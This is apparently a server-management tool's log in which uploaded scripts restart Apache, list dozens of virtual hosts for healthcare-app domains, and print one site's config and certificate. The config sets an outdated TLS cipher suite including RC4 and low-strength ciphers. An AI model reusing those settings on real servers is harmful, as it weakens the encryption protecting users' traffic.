rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/patientapps_audio_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/patientapps_audio_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_audio_net.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_audio_net.conf= 1'
fi
2025-09-26 06:01:42:
chmod 755 /tmp/pkp698982; /tmp/pkp698982; rm /tmp/pkp698982
2025-09-26 06:01:42:
2025-09-26 06:01:42:
PUT: /tmp/pkp413694
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-26 06:01:43:
chmod 755 /tmp/pkp413694; /tmp/pkp413694; rm /tmp/pkp413694
2025-09-26 06:01:43:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-26 06:01:43: Establishing a connection
2025-09-26 06:01:43:
PUT: /tmp/pkp652423
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-26 06:01:43:
chmod 755 /tmp/pkp652423; /tmp/pkp652423; rm /tmp/pkp652423
2025-09-26 06:01:43:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
alias myapp.care
port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
alias www.cn-dego.myapp.care
port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
alias www.d-oak.myapp.care
port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
alias www.ma1-acrp.myapp.care
port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
alias www.ma1-anfr.myapp.care
port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
alias www.ma1-anin.myapp.care
port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
alias www.ma1-ankp.myapp.care
port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
alias www.ma1-anrp.myapp.care
port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
alias www.ma1-arcr.myapp.care
port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
alias www.ma1-asst.myapp.care
port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
alias www.ma1-chel.myapp.care
port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
alias www.ma1-cybb.myapp.care
port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
alias www.ma1-epas.myapp.care
port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
alias www.ma1-fass.myapp.care
port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
alias www.ma1-ldhr.myapp.care
port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
alias www.ma1-lsst.myapp.care
port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
alias www.ma1-mtfp.myapp.care
port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
alias www.ma1-mvrc.myapp.care
port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
alias www.ma1-octf.myapp.care
port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
alias www.ma1-ovin.myapp.care
port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
alias www.ma1-pfer.myapp.care
port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
alias www.ma1-prls.myapp.care
port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
alias www.ma1-rcl.myapp.care
port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
alias www.ma1-rorp.myapp.care
port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
alias www.ma1-savr.myapp.care
port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
alias www.ma1-shem.myapp.care
port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
alias www.ma1-sspr.myapp.care
port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
alias www.ma1-tosr.myapp.care
port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
alias www.ma1-tylo.myapp.care
port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
alias www.ma1-typa.myapp.care
port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
alias www.ma1-tyto.myapp.care
port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
alias www.ma1-utfa.myapp.care
port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
alias www.ma1-vasc.myapp.care
port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
alias www.ma1-vasr.myapp.care
port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
alias www.ma2-acrp.myapp.care
port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
alias www.ma2-anar.myapp.care
port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
alias www.ma2-anfr.myapp.care
port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
alias www.ma2-anin.myapp.care
port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
alias www.ma2-anrp.myapp.care
port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
alias www.ma2-buni.myapp.care
port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
alias www.ma2-chel.myapp.care
port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
alias www.ma2-hamm.myapp.care
port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
alias www.ma2-hind.myapp.care
port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
alias www.ma2-lcl.myapp.care
port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
alias www.ma2-mdfu.myapp.care
port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
alias www.ma2-mtfp.myapp.care
port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
alias www.ma2-rcl.myapp.care
port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
alias www.pai-lc.myapp.care
port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
alias 847670.myapp.care
alias 573398.myapp.care
port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
alias www.pai-rco.myapp.care
port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
alias www.sma1-lgb.myapp.care
port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
alias www.sma1-lrygb.myapp.care
port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
alias www.sma1-lsg.myapp.care
port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
alias www.sma1-pcnl.myapp.care
port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
alias www.test.myapp.care
port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
alias www.version2.myapp.care
wild alias *.myapp.care
port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
alias live.patientapps.net
port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
alias www.patientapps.net
port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
alias store.patientapps.com
alias store.patientapps.co
port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
*:443 is a NameVirtualHost
default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
alias myapp.care
port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
alias www.cn-dego.myapp.care
port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
alias www.d-oak.myapp.care
port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
alias www.ma1-acrp.myapp.care
port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
alias www.ma1-anfr.myapp.care
port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
alias www.ma1-anin.myapp.care
port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
alias www.ma1-ankp.myapp.care
port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
alias www.ma1-anrp.myapp.care
port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
alias www.ma1-arcr.myapp.care
port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
alias www.ma1-asst.myapp.care
port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
alias www.ma1-chel.myapp.care
port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
alias www.ma1-cybb.myapp.care
port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
alias www.ma1-dego.myapp.care
port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
alias www.ma1-epas.myapp.care
port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
alias www.ma1-fass.myapp.care
port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
alias www.ma1-ldhr.myapp.care
port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
alias www.ma1-lsst.myapp.care
port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
alias www.ma1-mtfp.myapp.care
port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
alias www.ma1-mvrc.myapp.care
port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
alias www.ma1-octf.myapp.care
port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
alias www.ma1-ovin.myapp.care
port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
alias www.ma1-pfer.myapp.care
port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
alias www.ma1-prls.myapp.care
port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
alias www.ma1-rcl.myapp.care
port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
alias www.ma1-rorp.myapp.care
port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
alias www.ma1-savr.myapp.care
port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
alias www.ma1-shem.myapp.care
port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
alias www.ma1-sspr.myapp.care
port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
alias www.ma1-tosr.myapp.care
port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
alias www.ma1-tylo.myapp.care
port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
alias www.ma1-typa.myapp.care
port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
alias www.ma1-tyto.myapp.care
port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
alias www.ma1-utfa.myapp.care
port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
alias www.ma1-vasc.myapp.care
port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
alias www.ma1-vasr.myapp.care
port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
alias www.ma2-acrp.myapp.care
port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
alias www.ma2-anar.myapp.care
port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
alias www.ma2-anfr.myapp.care
port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
alias www.ma2-anin.myapp.care
port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
alias www.ma2-anrp.myapp.care
port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
alias www.ma2-buni.myapp.care
port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
alias www.ma2-chel.myapp.care
port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
alias www.ma2-hamm.myapp.care
port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
alias www.ma2-hind.myapp.care
port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
alias www.ma2-lcl.myapp.care
port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
alias www.ma2-mdfu.myapp.care
port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
alias www.ma2-mtfp.myapp.care
port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
alias www.ma2-rcl.myapp.care
port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
alias www.pai-lc.myapp.care
port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
alias 847670.myapp.care
alias 573398.myapp.care
port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
alias www.pai-rco.myapp.care
port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
alias www.sma1-lgb.myapp.care
port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
alias www.sma1-lrygb.myapp.care
port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
alias www.sma1-lsg.myapp.care
port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
alias www.sma1-pcnl.myapp.care
port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
alias www.test.myapp.care
port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
alias www.version2.myapp.care
wild alias *.myapp.care
port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
alias live.patientapps.net
port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
alias www.patientapps.net
port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
alias store.patientapps.com
alias store.patientapps.co
port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-26 06:01:43:
PUT: /tmp/pkp576653
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/patientapps_audio_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-26 06:01:43:
chmod 755 /tmp/pkp576653; /tmp/pkp576653; rm /tmp/pkp576653
2025-09-26 06:01:43:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_audio_net.conf 1469
<VirtualHost *:80>
ServerName audio.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_audio
<Directory /var/www/patientapps_audio>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/audio_access.log combined
ErrorLog /var/log/apache2/patientapps/audio_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.3-sii.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName audio.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/40d152ed4fc15024fe57db1999e289aa.crt
DocumentRoot /var/www/patientapps_audio
<Directory /var/www/patientapps_audio>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/audio_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/audio_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php index.py
</VirtualHost>
2025-09-26 06:01:43:
PUT: /tmp/pkp718434
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/40d152ed4fc15024fe57db1999e289aa.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-26 06:01:43:
chmod 755 /tmp/pkp718434; /tmp/pkp718434; rm /tmp/pkp718434
2025-09-26 06:01:43:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/40d152ed4fc15024fe57db1999e289aa.crt 5365
89:44:52:ed:da:bd:11:8a:24:82:9b:83:05:de:42:90
-----BEGIN CERTIFICATE-----
MIIFBzCCA++gAwIBAgISBX2krgFoAbKPivZmUNZNvmKqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTI2MDUwMzExWhcNMjUxMjI1MDUwMzEwWjAgMR4wHAYDVQQD
ExVhdWRpby5wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQC4lXjUDepryOMcatxWcWiAtSk8WVB9mJ3ASAVECZC5xKi6z6hBwDoY
